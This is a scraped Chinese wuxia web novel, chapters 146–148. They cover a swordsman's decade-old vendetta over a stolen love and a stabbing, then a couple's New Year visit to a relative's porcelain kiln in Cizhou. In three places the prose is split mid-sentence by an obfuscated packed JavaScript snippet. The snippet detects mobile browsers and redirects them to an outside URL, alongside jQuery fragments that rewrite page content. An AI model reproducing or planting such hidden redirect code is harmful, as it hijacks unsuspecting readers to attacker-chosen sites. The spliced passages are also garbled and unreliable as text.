“自我和晗月离开太白山,敌人几番追索,我和晗月在逃跑途中曾经听来人说起他的上封是文远骥,只是放在当时我们两个谁都不相信。哪怕我听见他做了门主,都还心存侥幸,竟然希望那些人的猜测都是假的,事情必然有以讹传讹之处。直到我亲眼见到晗月和他一起花前月下,看到他们俩所生的孩子叫着爹娘,我才终于醒悟,我从头至尾都看错了他!” 紫璇还是没有说话,仍保持着原来的姿势,只是把嘴唇咬得紧紧的。 “他明明已经有了妻子,他的妻子还怀了孩子,他竟然忍心抛妻弃子!他知道我和晗月两情相悦,竟然忍心横刀夺爱,让晗月屈从与他。他也曾看着晗月长大、在他面前欢笑,他竟然忍心逼迫她,一点都不顾及她的感受……” “不是这样的!”紫璇再也忍不住,站起来驳斥道,“姐姐的娘因难产而死,而且爹一直很疼姐姐,怎么能说他抛妻弃子?”不给林茂反驳的空隙,她又道,“而且我爹……他从未逼迫过我娘,连一句重话都不曾对她说过,我娘想做的事,他从没有反对过……” “那又怎么样!?这不更加说明文远骥蓄谋已久,一心想把晗月从我身边抢走么?无论他的发心是什么!” “我爹不可能逼迫我娘!她愿意跟着他,做他的妻子,焉知不是她……她变了心……”紫璇停住了口。 这句话林茂过往连想都不敢想,就像衣襟上的污渍,人人心知肚明,但只要不提起,就永远可以当它不存在。 林茂怔怔说不出话来,眼神飘忽不定,最后再次闭上眼睛,表情痛苦不堪,眼角还挂着泪。 思瑶瞧着他的模样很是心疼。过了一会儿才问:“爹爹是去找她了吗?她怎么说?难道她真的不要爹爹了?” 林茂缓缓睁开眼睛,眼中是无尽的失落:“我不知道……我不知道……我怎么也想不到,晗月是真心要做她的妻子,为了他,竟要赶我走……” 紫璇骤然想到一件事,讶异的话脱口而出:“原来是你刺伤了我爹!” 瑾瑜立刻转向她,眼睛里满是疑问,可在看到她表情的一瞬间,疑问就变成了担心。 “十年前,我爹被人刺杀,受了重伤。紧接着就发生了夺门之变,娘被人挟持……”紫璇抬起胳膊,指着还在黯然神伤的林茂,尖声道:“如果不是你害得我爹伤重不起,我娘怎么会落入敌手,又怎么会为了保全天魄门死在那些人手上!” 林茂完全被这句话打懵了,他不知所措地看着紫璇,眼泪也立刻止住,艰难地理解着她刚才说的话:“你……你说的……你什么意思?” 紫璇仰头,踉跄了一下,瑾瑜赶忙起来去扶她。她却下意识地甩开他的手,再一次逼近林茂:“如果不是你,说不定我娘还可以再活一两年,我也不用那么小就被扔到秋山居……”她再也止不住泪,趴到瑾瑜肩头痛哭了起来。 听着她的哭声,林茂混沌的头脑逐渐清明,当日的一幕幕涌上心头。 146. 旧怨(三) 天色渐暗,苏茂霖沿着记忆中的山间小路,正在往天魄门而去。 为了避人耳目,他特地选了这个时间、这条路线。不知是自己真的幸运还是天魄门的确今非昔比,上山过程中,竟然一个守卫都没有遇上。 一直到赤霞山庄之外他都极为忐忑,他既想立刻见到晗月,与她互诉多年的相思与衷肠,又害怕见到晗月,怕从她的口中说出她已经爱上别人,请他不要再来的狠心之语。然而,所有的忐忑不安,都在他看到文远骥和晗月在一起的画面后瞬间转为了暴怒。 月色下,晗月牵着一个五六岁女孩的手,正在和颜悦色地跟她说话。文远骥在她身边,怀中抱着另一个女娃娃,正目光缱绻地望着晗月的背影。晗月起身,回头看到文远骥的目光,竟然羞涩地笑了起来,这种笑容,以前明明是只属于他苏茂霖一人的! 文远骥上前,抱着那个女孩和晗月说笑,同时手也抚上了晗月的鬓角,帮她整理因为夜风而吹乱的发丝。晗月根本没有躲,不仅没躲,还笑语盈盈地和他说着什么,将文远骥和那个被她牵着的女孩逗得大笑。 这副场面,只出现在苏茂霖对自己和晗月婚后日子的想象之中。他怎么也没想到,最后和晗月花前月下,弄女为乐的竟然是自己一直敬重的大师兄! 他一路看着两个人亲昵地同行,带着两个女儿进入房中就再也没有出现。他们在里面做什么?!这段时间里,苏茂霖做了无数种猜想,甚至想立刻冲进去杀死文远骥,也杀死那两个孩子! 还好,在他快要克制不住自己时,两个终于出了房门,这回他们不再说笑了,而是边走边严肃地讨论着什么事情。说到激动处,晗月没有注意看脚下,差些摔倒,文远骥急忙揽住她,将她身子扶正。然后,扶着她腰的手就一直没有松开! 看到这一幕,苏茂霖再也忍耐不住,从暗处跳了出来,拔剑冲向了文远骥。可文远骥功夫强于他,稍一闪避就躲过了他的杀招。同时晗月也认出了他,惊叫道:“茂林哥!” 他怒不可遏,仿佛已经把晗月放到了脑后,不顾一切地扑向文远骥,每一招都是他所知道的最凌厉的招式。 文远骥没有兵刃,只能以双掌对垒,但他武艺高、内力强,总是能在最后关头将苏茂霖甩开。 “四师弟!”他一面出招抵御,一面大喊。 可苏茂霖充耳不闻,脑海中只有一个声音:“杀了他!杀了文远骥!” 晗月在一旁束手无策,眼看苏茂霖出招越来越急躁,大有鱼死网破的架势,她也越来越心惊。 文远骥不断出掌,想将苏茂霖黜离,苏茂霖疯了似地只管进招,刀尖总是不离文远骥胸前两寸。晗月不会武功,在他眼中看来,二人性命相搏,仿佛下一刻就要致对方于死地。她心知苏茂霖的怨气源于自己,怕他们为了自己弄得两败俱伤,便瞅准了两者间的一点空隙,冲过去横在了中间。 此刻文远骥积蓄的掌力已经靠近苏茂霖,苏茂霖的剑也再一次向着文远骥刺出。晗月冲过来的时候,两人不约而同地想要变招,可出了全力的招式哪能说变就变。尤其是苏茂霖,剑锋勉强从晗月身侧划过,去势未消,即刻扎进了呆愣在原地一动不动的文远骥身体。而文远骥为了卸去将要拍到晗月后背的掌力,即刻逆转经脉,将内力尽数卸在了自己身上。夹击之下,文远骥旋即口吐鲜血,坠倒在地。 苏茂霖自小随文远骥一起练武,也曾亲眼目睹他和其他武林高手切磋武艺,从未见过他落败,也从未想过自己有一天会剑指自己一向敬重的大师兄。是以,即使他那么想杀了文远骥,真正见到这一幕也不免吓到呆滞。 晗月立刻俯身去查看文远骥的伤势,刚把剑拔出来,文远骥的胸前就喷出鲜血,晗月躲避不及,脸上、身上都被溅上了不少血迹。她马上脱下外裳用它紧紧地压住文远骥伤口,口中一声一声地唤着他。文远骥尚未昏迷,晗月俯身在他耳边,轻轻说了几句话,他艰难地点了一下头。 紧接着,晗月先将一旁神志丧失的苏茂霖推入树丛,然后大声呼救。在听到有人往这边赶来之后,立马拉着苏茂霖的胳膊跑出了赤霞山庄。完全呆住了的苏茂霖被她牵着,也不知道走了多久,走到了哪里。若不是听到晗月的哭声,他恐怕还如坠雾中。 “茂林哥,这些年你去了哪里?我们到处寻你不见,还以为……还以为……”晗月哭声止息,满是惊喜地上下打量他。 听见这个问题,地牢中的孤苦无依、暗无天日再度袭来,他想起来了,正是文远骥害得他如此! “我要杀了文远骥!”苏茂霖大喊,身子随即发动。可下个瞬间,晗月就死死地抱住了他,让他再也无法动弹。 “对不起,对不起……”晗月痛哭道,“是我对不起你,不是大师兄的错,你不要怪他。” 苏茂霖听见她的话,终于停住脚步,将她推开些许,难以置信地看着她血污和泪水混在一起的脸。 晗月从他的眼睛看到了不解、质疑还有无边的怨恨,她想辩解,却不知道该从何说起,末了也只是说:“是我对不住你。” 苏茂霖的头脑逐渐能够运转,虽然听懂了,却无论如何也无法相信晗月说的任何一个字。 “不!绝不可能!一定是文远骥逼你的,我要去找他算账,我要杀了他!” “不!”晗月再次紧紧抱住他的胳膊,大声道:“大师兄没有逼迫我,是我自愿的!” “自愿的?”苏茂霖被打败了,被这三个字。 “你……你真的抛弃了我?”苏茂霖极其艰难地从喉咙了挤出了这句话,声音暗哑到不像是他发出来的。 “对不起,我所作的一切都出于我的自愿。我有我的使命,我不能让大师兄独自承受这一切,我得帮帮他……对不起,我不是没有考虑你,只是当时情况太复杂,我没有别的选择……” 可她的辩解之语苏茂霖一个字也听不进去,他的脑子里只有“自愿的”三个字在反复回响。他这一生之中,只爱过晗月一个人,最大的心愿也是和她一生一世一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725749|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双人,从来没想过要是晗月变心了他要怎么办。 于是,被关在地牢七年的委屈与愤恨,父亲一朝身故的震惊与害怕,还有心爱女子背叛带来的埋怨与愤怒,全都化成了最简单粗暴的答案:“杀了文远骥!” 无需出声,他瞬间突起的眼珠就已经泄露了此刻的想法。晗月仍旧牢牢箍住他,然后用尽可能快而平稳的语调对他说:“我知道你恨大师兄,想找他报仇,可是仇人不是他!” 苏茂霖好像没听进去,想要脱离她怀抱的心思丝毫不减。 “苏茂霖!你看着我!”晗月无奈,只能使出最后的办法。 果然,他的神志好像稍稍回来一些,眼睛终于肯看着她了。 “苏茂霖,冤有头债有主。如果你怪我嫁给大师兄,背叛了你,那就你先杀了我!” 杀了晗月??不不!我怎么能杀她,她是我这辈子下辈子下下辈子都想一起共度的人啊! “你恨他就是在恨我!他没有做任何对不起你的事,如果你执意要寻仇,那就先杀了我吧……”看着他痛苦又抗拒的模样,晗月越发难以硬起心肠,说着狠毒地话,语气却比先前软和许多。 可在苏茂霖的耳朵里,听到的却是她着意维护文远骥,甚至不惜拿自己的性命威胁他。可……即便如此,他又怎么忍心看到晗月死。怎么办,难道真的要放过文远骥? 他眼中的狠厉逐渐消散,晗月终于能够多喘一口气,继续道:“如果你实在无法放下执念,至少给我十年时间,十年后若你还是放不下,就上天魄门来。” 苏茂霖不说话,内心还在激烈地斗争着。 “君子报仇,十年不晚。你的功夫不如大师兄,师娘如今也在门中,他二人联手,你根本不可能有胜算。不如等一等,就十年。十年之后,你有了完全的把握,再来,我绝不拦你。如果你愿意,现在就起誓,说你十年之内都不得踏足天魄门。要是你不肯,我就死在你面前,阎王那里我也会告诉他生生世世都不想再见到你!你听懂了吗?” 想到连下辈子都不可能和她厮守,苏茂霖再也固执不了,他投降了。 一直到苏茂霖在她面前发誓,承诺十年后才会寻仇之后,晗月才终于绽放出见到他以后的第一个笑容。这个笑容成为了他往后十年无数次怀念的画面,也是他往后十年每每想起,恨意就难以遏制的画面。 “茂林哥,和你在一起的时候是我这辈子最快活的日子了,但是这么好的日子终究是不能再有的。你答应我的事一定要说到做到,如果你食言,不管十年后我活着还是死了,都必不会再见你。” 晗月慢慢靠近他怀里,最后一次感受着他的温暖:“对不起,我知道你想带我走,可是我不能就这样离开这里,我有我的命,我要回去了。” 苏茂霖这才有了一点反应,他马上拉住她的胳膊,用眼睛无声的说着不舍。 “对不起,这一生我对不起你,希望你不要怪我,也别怪大师兄。如果可以,放下仇恨,好好活着。” 147. 齐家长子(一) 林茂吐露仇恨的第二天,紫璇便与瑾瑜离开了药庐。 思瑶虽然只是个十多岁的孩子,经过昨晚的事后也知道爹爹与紫璇是不可能再安然相处了,便偷偷准备了一些耐储的吃食和御寒的衣物,第二天送行时交给了他们。 紫璇神色郁郁,瑾瑜接过思瑶送来的包袱,很是感激。她年纪还小,却比自己小时候懂事多了。 “紫璇姐姐……”思瑶迟疑着。 “烦你带我转达前辈,十年之期将至,晚辈及家父在太白山恭候大驾。” “紫璇姐姐!爹爹他不是故意要害你的爹爹和妈妈的!” “是不是故意又有什么分别?”紫璇硬起心肠,把话说得极重,“前辈救了我,我无法向他寻仇。但他若是还认定家父是害他之人,执意要寻仇的话,我也决不会袖手旁观!” 林茂在当年夺门之变前潜入天魄门,致使文远骥重伤,又间接导致了晗月被掳身死,紫璇不免迁怒于他,但这般决然地和他划清敌我,实则还有旁的原因,只是那时候的她还不清楚罢了。 两人折向东南,翻越了无数座山头,才终于到了一座小镇上。如果要回天魄门,就需南下郑州再折而向西。可是,行至相州*时,紫璇却踌躇不前,在瑾瑜的询问下,她终于直言自己不想回家。 从离开林茂的药庐开始,紫璇便一副心事重重的样子,他虽然旁敲侧击地问过一两次,紫璇都顾左右而言它。既然她不想说,瑾瑜也不会勉强,只能尽量想法子逗她笑一笑,可也收效甚微。 虽然紫璇在林茂面前极力维护父亲,但瑾瑜能够感觉到她和文远骥的关系有一些紧张。至于因为什么他还不是太清楚。像折戟倪家庄之后一样,紫璇似乎在逃避着和父亲的见面。 他想了想,马上有了主意:“从这里往北有一个小县,以‘磁’为名,生产的瓷器行销南北。我有一位故人住在那儿,我也好多年没见过他了,你要是愿意,我们去他那儿散散心怎么样?” 紫璇稍稍来了一点兴致,可还是先问道:“马上就要过年了,现在去打扰会不会不好?” “你只告诉我,现在想回家过年吗?” 紫璇摇头。 “那就别管那么多,我那位朋友最是豁达,他肯定不会多嘴的。” “那你呢?你不要回到父母身边尽孝吗?” “我爹那里最好还是先别回去,至于我娘嘛……”瑾瑜特地顽皮地冲她眨眼,“都说‘有了媳妇忘了娘’,虽说我从没忘记她,但这个时候你更加需要人陪着。” “谁要给你做媳妇!”紫璇终于被他逗笑,还狠狠地锤了他一下,然后调转马头,也不等他就往北疾驰。瑾瑜扬鞭,立刻追了上去。 这一回要去拜访谁,瑾瑜先和紫璇交了底。紫璇万万没想到,他所谓的“故人”竟然是齐建霄的长子齐煜春。 “齐总镖头还有个儿子?”紫璇一直以为齐建霄膝下只有一女,瑾瑜的话实在是大出她的意料。 “别说你了,恐怕镖局之中也有许多后来之人不知道呢。表哥少年离家,又和镖局不通音信,如今已有七八年了。” 见紫璇疑惑不解,他便从头讲起。 实际上齐建霄和夫人育有两子一女,但在齐熙宁出生前,第二个孩子便因为一场急病夭折,死的时候还不到四岁。自此之后,齐煜春便成为家中唯一的男丁。齐建霄对他寄予厚望,练武习文自不必说,十五岁一到,就安排他跟着几个老成持重的镖头四处历练。二十岁便正式带领镖队走南闯北。 但齐煜春性子和软,并不喜欢舞枪弄棒,极其讨厌过刀尖上淌血的日子。只因父亲殷殷期望,他才勉为其难,可每一回走镖,他都胆战心惊,生怕酿出事故,惹来父亲的严厉责罚,甚或辱没了长风镖局的门楣。但在人前他还必须装作坦然无畏的模样,不能让手下人看出来他是个草包。 如此两面煎熬,齐煜春性格大变,时而乱发脾气,时而沉默寡言。在父母的细致询问之下,齐煜春终于说出实情,还请求他们放弃自己,另选得力之人操持镖局。齐建霄听后勃然大怒,以家法为要挟,让齐煜春想好了再说话。可齐煜春犯了倔,宁可叫父亲打死也不愿再做这个“少镖头”。最后若不是齐夫人死命阻拦,他就是不死也得断条腿。 齐煜春养伤之际,齐建霄和夫人开始抓紧给他议亲,指望他成婚后有了责任担当,自然会转了性子。然而事与愿违,齐煜春已经受够了任人摆布,一得知此事,又和父亲大吵了一架。齐建霄彼时还没有现在这般开明,齐煜春越是反抗,他便越要逼他就范。 当时齐熙宁只有十岁,又一向作为老么受尽宠爱,她不明白父亲为何如此生气,在她看来,不想吃的食物可以不吃,不想做的事便也可以不做。她还安慰父亲,让他不用担心,自己一定好好习武、快快长大,将来可以代替哥哥继承他的衣钵。 女儿的童言童语并没能宽慰齐建霄,毕竟这世上并没有“女”镖头,他也不能允许江湖人耻笑他教子无方,颠倒乾坤。 齐建霄不肯松口,齐煜春便以绝食抗争,父子俩僵持不下,齐夫人急得不知如何是好,将事情告诉齐雅雯让她来劝劝兄长也还是不济事。眼看着齐煜春奄奄一息将不久于人世,齐夫人只得拿出最后的杀手锏,威胁齐建霄若不放儿子生路,自己宁可与他和离。 如此才最终解了危机,齐建霄让步,从此以后不再强迫齐煜春,婚事也好、出路也好都由他自专。但有一个条件,那便是脱离家门。既然他不愿意做这个继承人,自然也就不能再享受作为长风镖局少镖头的一切风光和背后的助力。 齐煜春对此并无异议,略呆了几天,身体还没有养好,就向母亲和妹妹告别离去,自此之后就再也没回过金陵。 “身为独子,要承担家门的荣光,担子不可谓不重。”紫璇叹道。 “你不怪他没有担当?”瑾瑜问。 紫璇没有立刻回答,犹豫了一会儿方道:“能担纲重任当然是好的……可他已经到了痛苦不堪、宁死不肯的地步,再逼迫下去似乎也不太妥当。” “表哥看似柔弱,实则刚强,比起父亲心目中合格的继承人,他更想成为他自己。” “齐夫人为了儿子,不惜拿夫妻感情做赌注,也很不易。” “你说的对。如不是舅妈抓住舅舅的死穴,又作主撸去表哥继承人的身份,他也没那么容易如愿。” “齐总镖头很爱齐夫人,所以不舍得和她和离??” “这当然是一层重要的原因。但舅妈能作主更是关键,谁叫她才是镖局的主人呢。” “啊?”紫璇惊讶地半天没合上下巴。 “你或许不知,总镖头只是镖局聘来打理行镖之事的人,镖局背后另有主人,本钱出自他,负责打理官商关系的也是他。长风镖局是我舅母家里的产业,聘了我的外祖父做总镖头。舅母时常出入镖局,和舅舅两情相悦,舅母的父亲极为疼爱女儿,再加上我舅舅的确一表人才,就同意了这门亲事。外祖亡故后,舅舅才成为镖局的总镖头。” “原来是这样。”关于镖局的行规,紫璇的确知之甚少,对瑾瑜讲得这些听得津津有味。 “齐夫人愿意遂了儿子的心愿,让他远走高飞,这份豁达也非常人可比。”紫璇又感叹道。 “谁说不是呢。在舅妈眼里,孩子自由随心比什么都重要。你看熙宁,她之所以敢这么嚣张,那都是舅母在背后撑腰的缘故。她说,女孩儿一旦嫁了人,夫家人再好,也免不了多了很多拖累,所以不如让她们在出阁前自在一些。熙宁喜欢走南闯北,她便劝说舅舅放下男女有别的旧观念,准她趁着走镖的机会多见见世面。” 提起熙宁,紫璇笑道:“熙宁妹妹开朗大方,有什么便说什么,能看出来,她在家里甚少受到拘束。” “可不是嘛,不管她想说什么、做什么,从来没有半点犹豫。我身为男子,都免不了有些婆婆妈妈的时候,她却一味横冲直撞,比我更像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729566|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男孩子。” “你这话说的不太对。”紫璇想了想,反驳道,“直率洒脱也不是你们男子才能有的。我们女孩子就不能想说什么就说,想做什么就做?再说了,人难免瞻前顾后,和男女有什么关系。” 瑾瑜意识到失言,马上道歉:“你说的有道理,是我狭隘了。” “那你这位表哥离家后,何以到了磁州?”紫璇又问。 “表哥离家后漫无目的,就在江湖上游荡。机缘巧合下救了一个商队,一路护送他们北上。商队的领头人是一个女子,家在磁州,家中以制瓷为生。两人渐生情愫,表哥无牵无挂,便跟着表嫂回家,不久便入赘到她家,做一个简简单单的烧瓷匠人。正好,表哥原本就是个恬淡的性子,只喜欢安安稳稳地过日子,如此也算是得偿所愿了。 ********************* 到了磁县,瑾瑜问了几个路人,很快找到了李家瓷窑所在。向门口小僮通报了姓名之后,齐煜春亲自迎了出来。 齐煜春还不到三十岁,和齐建霄一样,生的膀大腰圆,不同之处在于皮肤黝黑,面容敦厚,不似他父亲在江湖中历练已久,自有一番城府。 他一见瑾瑜,立刻亲切地将他揽在怀里,分开后还从头到脚地打量他:“多年未见,你也长成大小伙子啦?!还哭不哭鼻子?” 瑾瑜偏不接受他的揶揄:“哭又怎么了?又不要你哄!” 齐煜春哈哈一笑,接着瞥见了他身边的紫璇。瑾瑜向他介绍,根据他说话的语气和看向紫璇的眼神,齐煜春一下子就猜出他小子心思不单纯,不过他怕紫璇脸皮薄,就没有调侃。而是引着二人步入起居的后堂。一路上还询问了几句自己的父母和小妹。 瑾瑜将自己所知的近况告知,齐煜春并没有太多伤感,只是说:“他们都好就行,我也可少惦记一些。” 后堂中,齐煜春的夫人、李家瓷窑的主人李巧泽已经听到信儿赶了回来。她比齐煜春年纪稍大,但和他一样的和煦亲切。因刚巡窑回来,她只来得及换了件干净衣裳,脸上还沾着尘土。 齐煜春一见,先不忙着引见来客,而是接过小丫头递上来的湿帕子,仔仔细细地为她擦去面上灰尘。 李巧泽略微有些怕羞,拍拍他的手,嗔道:“还有人在呢。” “都是自己人,不怕。”齐煜春只顾着给她擦脸,根本没有注意到身后两人瞪着大眼同时捂嘴偷笑的模样。不过就算他注意到了,也不会觉得自己的行为有什么不对。 介绍完瑾瑜和紫璇,李巧泽提前向下人们吩咐的东西也被送了上来。 她拉住紫璇的手:“我听说你们俩都风尘仆仆的,想必赶了好几天路,肯定辛苦极了。我已经吩咐人去烧水了,也给你们收拾了房间,一会可以痛痛快快地洗个澡。这件衣服是我新做的,还没穿过,颜色新鲜,正好给你穿。我不知道你喜欢戴什么样的簪环,就按照自己的喜好让小丫头拿了几个简单爽利的,一会你试试喜不喜欢。咱们虽不用为了取悦男人打扮地花枝招展,但是收拾地整整齐齐的,自己看着舒服……” 她一口气说了好些,完全不把紫璇当成是初见的陌生人。紫璇默默听着,偶尔点一下头,脸上的笑容也慢慢堆起。 瑾瑜自小跟着齐煜春一起玩耍,和他说话丝毫不扭捏遮掩,直接说自己要在这里过年。 “好呀,多两个人,这年也能过得更热闹一些。”李巧泽率先欢迎。 齐煜春也道:“这里过年的风俗和江南很不一样,估计和紫璇姑娘家里也有不同,你们正好可以见识见识。” 后来,紫璇私底下问瑾瑜,他们两个成婚多年,为什么没有孩子。瑾瑜告诉她,李家的瓷器产业这些越做越好,李巧泽醉心于事业,不想那么早生孩子。齐煜春则说,生孩子是女人受苦,生不生,什么时候生都应该她说了算,自己没有资格要求。 —————————————— 注:今河南安阳 148. 流星 给紫璇准备的住处已经收拾好了,李巧泽领着她进屋,指着屋中的火盆说:“方公子说你怕冷,我便让人给你抬了个大点儿。还有衣服,如果你觉得不够暖和,一定要和我说。” 紫璇谢过她的好意,又和她往里去。屋中虽然简朴,但干净整洁,桌上还有一束梅花,插在一个黑白相间的瓷瓶中。 “我最爱腊梅,在自己家院子里种了一棵。这是今早我才摘下来的,摆在屋里,正好点缀点缀。” 紫璇俯身去看那瓶子,惊奇地发现那瓷瓶上黑白乃是各色花卉,白色做底,黑色绘出图案,和自己之前所见的任何一种瓷器都不一样。 “这个瓶子倒是奇特,我住在南方,那里的碗盘大多是白色或是青色,从没见过这种。” 李巧泽见她看得认真,更乐意多说几句:“这是我们磁州特有的,我们这儿的瓷土不够白细,虽能做坯,但不大好看。能工巧匠们便想到在寻常的瓷胚外再施一层白粉,在白粉上作画写字儿。这样既能遮住瓷坯的瑕疵,也变得好看了。后来人觉得这个法子好,就一直沿用下来。我们这儿的匠人中有专门的画匠。” “真有意思!”紫璇由衷赞道。 “你来看看这个。”李巧泽又拉着她走向床边,指着床上放的一个枕头。 这居然是个瓷枕,紫璇觉得新鲜极了,探出身子将瓷枕拿在手上细看。枕头被做成了一个矮胖的老虎模样*,老虎背上平平,绘着几笔写意山水和两句诗文。 紫璇摸摸老虎头,很是喜欢这个别致的枕头。 “我……可以去你家的瓷窑看看吗?”她没有藏着自己的心思,大胆问道。 “好啊!正好明日辰时开窑,你早些起来,我带你去瞧瞧!”客人对这些感兴趣,李巧泽求之不得,答应得十分爽快。 在屋子另一头的瑾瑜,看到紫璇面对新鲜玩意儿睁大的眼睛和轻易下不去的笑容,也不禁咧开嘴巴,看来这次带她来这儿,真是来对了。 齐煜春瞧着他痴笑,忍不住调侃道:“就那么喜欢?” “嗯。” “人家知道吗?别是你一个人单相思吧?” “当然知道!”瑾瑜答得自信又得意。 *********************** 除夕那天,李巧泽带着全家人一起祭祖、吃团圆饭。紫璇好久没有过过这么热闹的年了,秋山居里人口少,许淑平又是个清冷的性子,每逢过节最多添几样菜。也就只有小时候在太白山上,晗月还在,会和庞氏一起招呼门中其他的女眷一起吃饭晚。只不过那时她年纪太小,许多情景早就不记得了。 饭吃到中途,几个小孩子纷纷说要放炮仗。李巧泽嘱咐几句“当心用火,别伤到自己后”就放他们自便。 瑾瑜拉着紫璇一起去看热闹,紫璇站在屋檐下,看着在院子里咋咋呼呼跳来跳去的孩子们,心情也被染上欢快的色彩。 紧接着,一株炮仗冲天而起,紫璇吓了一跳,身子不由自主的缩了一下。 “害怕吗?”瑾瑜大声在她耳边问。 “怕!”紫璇也大声回应。 瑾瑜扶着她的肩膀将她往后扯回来几步,又伸出两只手堵住她的耳朵,用口型说着:“那就这样看!” 正月初五,李巧泽作为窑主要带着全家人及几个老窑工祭奠火神、窑神,齐煜春提前了几日就开始为祭礼做准备。到了祭礼当天,包括紫璇、瑾瑜在内,李家上下都一早起来,穿戴的穿戴,打扮的打扮。 紫璇早早收拾停当,和瑾瑜候在夫妇两院内。他们担心大清早天寒地冻,容易着凉,便将他们让进房中。齐煜春帮李巧泽整理好衣服,也不管身边都有谁,按照每日常做的,直接在妻子唇上啄了一下。 瑾瑜大窘,立刻闪身挡在紫璇眼前。 紫璇莫名其妙:“怎么了,干嘛突然站起来?” 瑾瑜不语,面皮已经透出了粉色。 一起出门时,齐煜春故意冲他摇头,还笑他。瑾瑜只做没看见。 冬天天黑得早,吃过晚饭后院中已经点上了灯笼。 紫璇想看星星,瑾瑜就把自己和紫璇所在院子里的灯笼全部熄了,又带上一床厚厚的被子,两个人坐在屋顶上,裹在被子里仰头望天。 瑾瑜一眼望见东北天空上的北斗七星,指给紫璇看。 “你的名字里带有‘璇’字,莫不是和北斗有关?”他问。 紫璇从被子里伸出手,从指向北方的斗柄往下数到第六颗星,道:“天璇,我的名字就取自它。” “果然是能够配得上你的好名字!” “那你呢,果然如瑾似瑜吗?”紫璇打趣他。 “‘川泽纳污,山薮藏疾,瑾瑜匿瑕’**,我爹给我取这个名字,是希望我即便有些不足,也不失为一个君子,如玉一般温润、坚贞、刚毅。我不敢说自己达到了他的期许,但至少是无愧于心的。” 他说得极其认真,紫璇望着他亮晶晶的眼眸,不自觉地笑了。 突然,一颗流星自东北角直直坠向西南,稍纵即逝。紫璇激动到叫出了声,瑾瑜顺着她的手,也看到了流星的坠落前的残影。 紫璇蓦然想起在栖霞山江阁中瑾瑜对她说过的话来,道:“流星即便只有一瞬,这一瞬也是极美的。” “就像世间的每个人,再短暂的一生,如果足够绚烂,也不枉此生。”瑾瑜看着她的眼睛,接上了她想说的下半句。 紫璇眼角含笑,一把抱住他的胳膊靠在他肩膀上,然后道:“你说的对!” 和她靠得这样近,瑾瑜的心微微发颤,话也变少了。两个人就这样默默地瞧着灿烂的星空,很长一段时间都没有说话。 送紫璇回房的时候,两个人还依依不舍不愿意分开,最后紫璇自己先笑道:“这么婆婆妈妈的,都不像我了,你快走吧。”瑾瑜才笑着说好。可是他的脚刚踏出房门,紫璇就叫住了他,并且在他转身的一瞬间,飞快地吻了一下他的脸颊,又飞快地关上了门。 瑾瑜被定在当场,一只手婆娑着被紫璇嘴唇碰过的地方,许久才回过神来。 “原来早上你看见了!” “看见什么?”门里,紫璇倚在门上,止不住无边笑意。 “看见表哥和表嫂……” “对啊,看见了。又不是见不得人的事情,你干嘛不让我看?”紫璇故意嗔道。 瑾瑜支吾半响都回答不上来,最后才抿着嘴笑了。 ********* ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733813|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ************* 轻松惬意的日子也并非全无阴霾。除了和瑾瑜呆在一起的时间,大多数时候紫璇的情绪并不高。甚至在和李家老小一同聚会玩闹之时,瑾瑜都能捕捉到她眉间的一抹愁绪。他知道紫璇习惯了独自解决问题,如今还不愿意把内心最为隐秘的不快摊开来给他看,因此虽然替她着急,却从不多问。 日子一天天过去,紫璇的烦恼非但没有解决,似乎反而越发困住了她。这日晚饭,紫璇以身子不适为由谢绝了李巧泽的邀约,独自呆在房里。瑾瑜担心她,特定捡了些清淡的菜肴并一碗米汤送到了她那儿。 紫璇有一搭没一搭地吃着,虽然面上带着笑,还向瑾瑜打听他今日随齐煜春上窑发生的趣事,但瑾瑜看得出来,她很不开心,只因为他在这里才强颜欢笑。 犹豫良久,他还是忍不住问道:“你是不是有什么烦心事?” 话刚一出口,紫璇拿着碗筷的手便立刻垂了下来,表情也随即冻住了。 “不开心的话可以直接给我甩脸色,千万不要在我面前装没事,你这样我只会更加担心。” 紫璇轻轻叹了口气,不发一语。 “是因为林茂吗?” 紫璇缓缓点头。 “十年之期将至?” “夺门之变发生在十年前的二月。林茂断不会放弃报仇,再过一段时间,他就要上太白山来了。”紫璇终于开口。 “文门主武功高深,世间罕有敌手。就算林茂苦练多年,也未必能胜得了他。” “我知道。” “那你还担心什么?” 紫璇再度陷入沉默,筷子被她抓紧又松开,仿佛在斟酌要不要对瑾瑜道出事实。 “如果你发现你最亲密的人瞒着你一件至关重要的事,你会怎么办?” “我……”虽然还是不知道让紫璇痛苦的究竟为何事,但瑾瑜终于明白她的纠结有多深,对上她渴望答案的眼神,他一时之间也不知道该怎么回答。 “你想知道真相吗?”紫璇又问。 